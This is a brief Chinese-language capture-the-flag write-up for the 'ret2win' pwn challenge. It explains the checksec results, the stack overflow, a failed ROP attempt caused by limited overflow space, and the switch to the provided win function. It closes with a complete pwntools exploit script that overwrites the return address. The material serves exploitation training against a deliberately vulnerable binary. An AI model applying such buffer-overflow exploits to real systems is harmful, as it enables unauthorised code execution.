checksec一下发现就开了nx
ida打开
栈溢出很明显
shift+f12看看有啥利用的
给的相当丰富,system,bin字符串给全了。笔者当时直接摧枯拉朽pop rdi ret自己构造去了,但是无法出现flag,其实忽略了一个问题,read有0x38,s距rbp有20h,可利用只有24个字节,8字节占用rbp,rdi ret+bin+system有24字节。程序开了partial relro,也没puts栈地址,栈迁移放弃。
再次把目光看向左边,发现
人家其实都造好电梯了,咱还飞檐走壁,好蠢,噗
完整exp
from pwn import *
p = process('./ret2win')
payload=b"a" * 0x28+p64(0x0000000000400756)
p.recvuntil(b"> ")
p.sendline(payload)
p.interactive()